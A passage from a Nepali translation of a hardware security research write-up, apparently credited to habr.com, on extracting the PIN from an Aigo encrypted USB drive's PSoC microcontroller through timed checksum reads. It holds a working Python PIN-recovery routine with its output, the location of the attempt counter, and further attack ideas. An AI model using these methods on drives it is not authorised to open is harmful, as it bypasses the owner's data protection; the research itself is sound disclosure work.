ब्लक #126 मेरो पूर्ण डम्पमा, चेकसम गणनाको सुरुदेखि नै 125x64x18 = 144000μs वरिपरि कतै अवस्थित हुनुपर्छ, र यो धेरै प्रशंसनीय देखिन्छ। त्यसपछि, म्यानुअल रूपमा असंख्य अवैध डम्पहरू बाहिर निकालेपछि ("सानो समय विचलन" को संचयको कारण), मैले यी बाइटहरू प्राप्त गरें (१४५५२७ μs को विलम्बतामा):

यो एकदम स्पष्ट छ कि PIN कोड एन्क्रिप्टेड फारममा भण्डार गरिएको छ! यी मानहरू, निस्सन्देह, ASCII कोडहरूमा लेखिएका छैनन्, तर यो बाहिर जान्छ, तिनीहरूले capacitive किबोर्डबाट लिइएको पढाइहरू प्रतिबिम्बित गर्दछ।

अन्तमा, मैले खराब प्रयास काउन्टर कहाँ भण्डारण गरिएको थियो भनेर पत्ता लगाउन केही थप परीक्षणहरू चलाएँ। यहाँ नतिजा छ:

0xFF - भनेको "15 प्रयासहरू" हो र यो प्रत्येक असफल प्रयासको साथ घट्छ।

७.६। PIN कोड रिकभरी

यहाँ मेरो कुरूप कोड हो जसले माथि सँगै राख्छ:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

यहाँ यसको कार्यान्वयन को परिणाम छ:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

हुर्रे! कामहरू!

कृपया ध्यान दिनुहोस् कि मैले प्रयोग गरेको विलम्बता मानहरू सम्भवतः एउटा विशिष्ट PSoC - मैले प्रयोग गरेको एकसँग सान्दर्भिक छन्।

8. अब के छ?

त्यसोभए, हाम्रो Aigo ड्राइभको सन्दर्भमा PSoC पक्षमा संक्षेप गरौं:

• हामी SRAM पढ्न सक्छौं यदि यो सुरक्षित छ भने पनि;
• हामीले कोल्ड बुट ट्रेस आक्रमण प्रयोग गरेर र सिधै PIN कोड पढेर एन्टी-स्वाइप सुरक्षालाई बाइपास गर्न सक्छौं।

यद्यपि, सिङ्क्रोनाइजेसन समस्याहरूको कारणले हाम्रो आक्रमणमा केही त्रुटिहरू छन्। यसलाई निम्नानुसार सुधार गर्न सकिन्छ:

• "कोल्ड बुट ट्रेस" आक्रमणको परिणामको रूपमा प्राप्त भएको आउटपुट डाटालाई सही रूपमा डिकोड गर्न उपयोगिता लेख्नुहोस्;
• थप सटीक समय ढिलाइ सिर्जना गर्न FPGA ग्याजेट प्रयोग गर्नुहोस् (वा Arduino हार्डवेयर टाइमरहरू प्रयोग गर्नुहोस्);
• अर्को आक्रमण प्रयास गर्नुहोस्: जानाजानी गलत पिन कोड प्रविष्ट गर्नुहोस्, रिबुट गर्नुहोस् र र्याम डम्प गर्नुहोस्, आशा छ कि सही पिन कोड तुलनाको लागि RAM मा बचत हुनेछ। जे होस्, यो Arduino मा गर्न त्यति सजिलो छैन, किनकि Arduino सिग्नल स्तर 5 भोल्ट छ, जबकि हामीले जाँच गरिरहेका बोर्डले 3,3 भोल्ट संकेतहरूसँग काम गर्दछ।

प्रयास गर्न सकिने एउटा चाखलाग्दो कुरा भनेको पढ्ने सुरक्षालाई बाइपास गर्न भोल्टेज स्तरसँग खेल्नु हो। यदि यो दृष्टिकोणले काम गर्यो भने, हामी फ्ल्यास ड्राइभबाट बिल्कुल सही डाटा प्राप्त गर्न सक्षम हुनेछौं - अशुद्ध समय ढिलाइको साथ चेकसम पढ्नमा भर पर्नुको सट्टा।

SROM ले रिडब्लक प्रणाली कल मार्फत गार्ड बिटहरू पढ्ने हुनाले, हामीले त्यसै गर्न सक्छौं वर्णन गरिएको दिमित्री नेडोस्पासोभको ब्लगमा - क्रिस गर्लिन्स्कीको आक्रमणको पुन: कार्यान्वयन, सम्मेलनमा घोषणा गरियो "REcon ब्रसेल्स 2017".

अर्को रमाइलो कुरा जुन गर्न सकिन्छ चिपबाट केसलाई पीस्नु हो: SRAM डम्प लिन, कागजात नभएका प्रणाली कलहरू र कमजोरीहरू पहिचान गर्न।

Con. निष्कर्ष

त्यसोभए, यस ड्राइभको सुरक्षाले चाहिने धेरै छोड्छ, किनकि यसले पिन कोड भण्डारण गर्न नियमित ("कठोर" होइन) माइक्रोकन्ट्रोलर प्रयोग गर्दछ... साथै, डाटासँग कसरी गइरहेको छ भनेर मैले (अहिलेसम्म) हेरेको छैन। यस उपकरणमा इन्क्रिप्सन!

तपाईं Aigo को लागि के सिफारिस गर्न सक्नुहुन्छ? एन्क्रिप्टेड HDD ड्राइभ को केहि मोडेल को विश्लेषण पछि, 2015 मा मैले बनाएको प्रस्तुति SyScan मा, जसमा उहाँले धेरै बाह्य HDD ड्राइभहरूको सुरक्षा समस्याहरूको जाँच गर्नुभयो, र तिनीहरूमा के सुधार गर्न सकिन्छ भनेर सिफारिस गर्नुभयो। 🙂

मैले यो अनुसन्धान गर्न दुई सप्ताहन्त र धेरै साँझ बिताएँ। कुल करिब ४० घण्टा। सुरुदेखि (जब मैले डिस्क खोलेको थिएँ) अन्त्यसम्म (पिन कोड डम्प) गणना गर्दै। उही ४० घण्टामा मैले यो लेख लेख्न खर्च गरेको समय समावेश छ। यो एक धेरै रोमाञ्चक यात्रा थियो।

स्रोत: www.habr.com